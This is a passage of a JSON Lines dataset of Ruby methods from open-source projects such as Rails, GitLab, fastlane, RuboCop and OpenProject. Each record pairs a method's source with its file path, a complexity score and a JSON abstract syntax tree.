'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]}]},{\"type\":\"str\",\"children\":[\"' for all build steps\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"CERT_TEAM_ID\"]},{\"type\":\"sym\",\"children\":[\"SIGH_TEAM_ID\"]},{\"type\":\"sym\",\"children\":[\"PEM_TEAM_ID\"]},{\"type\":\"sym\",\"children\":[\"PRODUCE_TEAM_ID\"]},{\"type\":\"sym\",\"children\":[\"SIGH_TEAM_ID\"]},{\"type\":\"sym\",\"children\":[\"FASTLANE_TEAM_ID\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"team\"]}]}]}]}]}","id":"c37ae99a-4be8-4a5e-adc8-12842ad480a5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/seeders/bim/basic_data/theme_seeder.rb","start_line":31,"raw_source":"def seed_data!\n        theme = OpenProject::CustomStyles::ColorThemes.themes.find do |t|\n          t[:theme] == OpenProject::CustomStyles::ColorThemes::BIM_THEME_NAME\n        end\n\n        ::Design::UpdateDesignService\n          .new(theme)\n          .call\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_data!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theme\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"CustomStyles\"]},\"ColorThemes\"]},\"themes\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"theme\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"CustomStyles\"]},\"ColorThemes\"]},\"BIM_THEME_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Design\"]},\"UpdateDesignService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"theme\"]}]},\"call\"]}]}]}","id":"705ae4f0-b68d-42c6-a8d0-49b893d42e53"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/import.rb","start_line":160,"raw_source":"def process_rows_async\n      Spree::Imports::ProcessRowsJob.perform_later(id)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_rows_async\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Imports\"]},\"ProcessRowsJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"79a0c65a-5d96-44b6-a40f-4207aa0ff668"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_ext_test.rb","start_line":265,"raw_source":"def test_end_of_day\n    assert_equal Time.local(2005, 2, 21, 23, 59, 59, Rational(999999999, 1000)), Date.new(2005, 2, 21).end_of_day\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_end_of_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[21]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[999999999]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[21]}]},\"end_of_day\"]}]}]}","id":"1de644dd-79be-4628-a45d-feab3d8ead94"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader_resolver.rb","start_line":246,"raw_source":"def inherited_file(path, inherit_from, file)\n      if PathUtil.remote_file?(inherit_from)\n        # A remote configuration, e.g. `inherit_from: http://example.com/rubocop.yml`.\n        RemoteConfig.new(inherit_from, File.dirname(path))\n      elsif Pathname.new(inherit_from).absolute?\n        # An absolute path to a config, e.g. `inherit_from: /Users/me/rubocop.yml`.\n        # The path may come from `inherit_gem` option, where a gem name is expanded\n        # to an absolute path to that gem.\n        print 'Inheriting ' if ConfigLoader.debug?\n        inherit_from\n      elsif file.is_a?(RemoteConfig)\n        # A path relative to a URL, e.g. `inherit_from: configs/default.yml`\n        # in a config included with `inherit_from: http://example.com/rubocop.yml`\n        file.inherit_from_remote(inherit_from, path)\n      else\n        # A local relative path, e.g. `inherit_from: default.yml`\n        print 'Inheriting ' if ConfigLoader.debug?\n        File.expand_path(inherit_from, File.dirname(path))\n      end\n    end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"inherited_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"inherit_from\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"remote_file?\",{\"type\":\"lvar\",\"children\":[\"inherit_from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoteConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"inherit_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"inherit_from\"]}]},\"absolute?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"debug?\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"Inheriting \"]}]},null]},{\"type\":\"lvar\",\"children\":[\"inherit_from\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"RemoteConfig\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"inherit_from_remote\",{\"type\":\"lvar\",\"children\":[\"inherit_from\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"debug?\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"Inheriting \"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"inherit_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"5bf41efe-0156-4cdd-9a23-25cab286b3ed"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/subversion.rb","start_line":75,"raw_source":"def initialize(url, root_url = nil, login = nil, password = nil, _path_encoding = nil, identifier = nil)\n          super(url, root_url)\n\n          @login = login\n          @password = password\n          @identifier = identifier\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"root_url\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"login\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"password\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"_path_encoding\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"root_url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@login\",{\"type\":\"lvar\",\"children\":[\"login\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@identifier\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}","id":"c3bc176b-6723-45e7-b8cd-d8e6350ee1b1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":247,"raw_source":"def path_rels(*args)\n    options = args.extract_options!\n    rel = relationship(:raise_on_multiple => true) # TODO: Handle multiple nodes with a way to detect which node you want\n    rels = rel.nil? ? [relationship_for_isolated_root] : rel.path\n    Relationship.filter_by_resource_type(rels, options)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path_rels\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[null,\"relationship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rels\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relationship_for_isolated_root\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"filter_by_resource_type\",{\"type\":\"lvar\",\"children\":[\"rels\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"48ed97f9-b64f-4a5e-939c-d84539a59838"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/rename_table_test.rb","start_line":24,"raw_source":"def test_rename_table_should_work_with_reserved_words\n        renamed = false\n\n        connection.rename_table :references, :old_references\n        connection.rename_table :test_models, :references\n\n        renamed = true\n\n        # Using explicit id in insert for compatibility across all databases\n        table_name = connection.quote_table_name(\"references\")\n        connection.execute \"INSERT INTO #{table_name} (id, url) VALUES (123, 'http://rubyonrails.com')\"\n        assert_equal \"http://rubyonrails.com\", connection.select_value(\"SELECT url FROM #{table_name} WHERE id=123\")\n      ensure\n        if renamed\n          connection.rename_table :references, :test_models\n          connection.rename_table :old_references, :references\n        end\n      end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_table_should_work_with_reserved_words\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"renamed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rename_table\",{\"type\":\"sym\",\"children\":[\"references\"]},{\"type\":\"sym\",\"children\":[\"old_references\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rename_table\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"references\"]}]},{\"type\":\"lvasgn\",\"children\":[\"renamed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_table_name\",{\"type\":\"str\",\"children\":[\"references\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" (id, url) VALUES (123, 'http://rubyonrails.com')\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://rubyonrails.com\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"select_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT url FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" WHERE id=123\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"renamed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rename_table\",{\"type\":\"sym\",\"children\":[\"references\"]},{\"type\":\"sym\",\"children\":[\"test_models\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rename_table\",{\"type\":\"sym\",\"children\":[\"old_references\"]},{\"type\":\"sym\",\"children\":[\"references\"]}]}]},null]}]}]}","id":"c9adccc2-5b0d-4c20-a38b-9602e1b3be14"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/s3_cors_rulesets_spec.rb","start_line":203,"raw_source":"def sync_rules\n    described_class.sync(use_db_s3_config: use_db_s3_config, s3_client: client)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"sync\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_db_s3_config\"]},{\"type\":\"send\",\"children\":[null,\"use_db_s3_config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_client\"]},{\"type\":\"send\",\"children\":[null,\"client\"]}]}]}]}]}","id":"dd938c31-aec5-4975-95a9-efb9392cb4f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/concerns/application_version.rb","start_line":22,"raw_source":"def update_available?\n        version != self.class.const_get(:VERSION, false)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"const_get\",{\"type\":\"sym\",\"children\":[\"VERSION\"]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"74e7c760-d3e6-4708-b75b-ffd8845d98ce"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/changeset.rb","start_line":84,"raw_source":"def committed_on=(date)\n    self.commit_date = date.to_date\n    super\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"committed_on=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"commit_date=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"to_date\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"d5f8c4f6-d63d-44ba-9cfd-c782cd2572ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/multifetch_cache_test.rb","start_line":16,"raw_source":"def cached_proc\n    load_all_topics\n    render partial: \"test/multifetch\", collection: @topics, as: :topic, cached: proc { |topic| [topic] }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_all_topics\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/multifetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collection\"]},{\"type\":\"ivar\",\"children\":[\"@topics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}]}]}]}]}","id":"6ed3ce3f-3e4e-40d0-857a-7af06f7a5fe0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/device_manager.rb","start_line":349,"raw_source":"def copy_logarchive(device, log_identity, logs_destination_dir, log_collection_start_time)\n        require 'shellwords'\n\n        logarchive_dst = File.join(logs_destination_dir, \"system_logs-#{log_identity}.logarchive\")\n        FileUtils.rm_rf(logarchive_dst)\n        FileUtils.mkdir_p(File.expand_path(\"..\", logarchive_dst))\n\n        logs_collection_start = log_collection_start_time.strftime('%Y-%m-%d %H:%M:%S')\n        command = \"xcrun simctl spawn #{device.udid} log collect \"\n        command << \"--start '#{logs_collection_start}' \"\n        command << \"--output #{logarchive_dst.shellescape} 2>/dev/null\"\n        FastlaneCore::CommandExecutor.execute(command: command, print_all: false, print_command: true)\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_logarchive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device\"]},{\"type\":\"arg\",\"children\":[\"log_identity\"]},{\"type\":\"arg\",\"children\":[\"logs_destination_dir\"]},{\"type\":\"arg\",\"children\":[\"log_collection_start_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"shellwords\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logarchive_dst\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"logs_destination_dir\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"system_logs-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_identity\"]}]},{\"type\":\"str\",\"children\":[\".logarchive\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"lvar\",\"children\":[\"logarchive_dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"lvar\",\"children\":[\"logarchive_dst\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logs_collection_start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_collection_start_time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M:%S\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcrun simctl spawn \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},\"udid\"]}]},{\"type\":\"str\",\"children\":[\" log collect \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--start '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs_collection_start\"]}]},{\"type\":\"str\",\"children\":[\"' \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--output \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logarchive_dst\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" 2>/dev/null\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommandExecutor\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_all\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_command\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"658d44fb-0a69-4a39-a14e-462b30c7256c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app.rb","start_line":99,"raw_source":"def self.get(client: nil, app_id: nil, includes: \"appStoreVersions\")\n        client ||= Spaceship::ConnectAPI\n        return client.get_app(app_id: app_id, includes: includes).first\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"str\",\"children\":[\"appStoreVersions\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_app\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]}]},\"first\"]}]}]}]}","id":"892786af-68b5-4307-9756-afd257787931"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/note_attachments_importer.rb","start_line":21,"raw_source":"def execute\n          attachments = Gitlab::GithubImport::MarkdownText.fetch_attachments(note_text.text, web_endpoint)\n          return if attachments.blank?\n\n          new_text = attachments.reduce(note_text.text) do |text, attachment|\n            new_url = gitlab_attachment_link(attachment)\n\n            # we need to update video media file links with the correct markdown format\n            if new_url.end_with?(*supported_video_media_types)\n              text.gsub(attachment.url, \"![media_attachment](#{new_url})\")\n            else\n              text.gsub(attachment.url, new_url)\n            end\n          end\n\n          update_note_record(new_text)\n        end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GithubImport\"]},\"MarkdownText\"]},\"fetch_attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_text\"]},\"text\"]},{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_text\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"reduce\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_text\"]},\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_url\",{\"type\":\"send\",\"children\":[null,\"gitlab_attachment_link\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_url\"]},\"end_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_video_media_types\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"![media_attachment](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_url\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"url\"]},{\"type\":\"lvar\",\"children\":[\"new_url\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_note_record\",{\"type\":\"lvar\",\"children\":[\"new_text\"]}]}]}]}","id":"0bb53697-b368-43ee-b354-a6836e712cb3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/multiline_literal_brace_corrector.rb","start_line":21,"raw_source":"def call\n        if closing_brace_on_same_line?(node)\n          correct_same_line_brace(corrector)\n        else\n          # When a comment immediately before the closing brace gets in the\n          # way of an easy correction, the offense is reported but not auto-\n          # corrected. The user must handle the delicate decision of where to\n          # put the comment.\n          return if new_line_needed_before_closing_brace?(node)\n\n          end_range = last_element_range_with_trailing_comma(node).end\n\n          correct_next_line_brace(corrector, end_range)\n          correct_heredoc_argument_method_chain(corrector, end_range)\n        end\n      end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"closing_brace_on_same_line?\",{\"type\":\"send\",\"children\":[null,\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_same_line_brace\",{\"type\":\"send\",\"children\":[null,\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_line_needed_before_closing_brace?\",{\"type\":\"send\",\"children\":[null,\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"end_range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_element_range_with_trailing_comma\",{\"type\":\"send\",\"children\":[null,\"node\"]}]},\"end\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_next_line_brace\",{\"type\":\"send\",\"children\":[null,\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"end_range\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_heredoc_argument_method_chain\",{\"type\":\"send\",\"children\":[null,\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"end_range\"]}]}]}]}]}","id":"b5b43a7d-8e8a-43ee-afb0-9f8252475c08"}
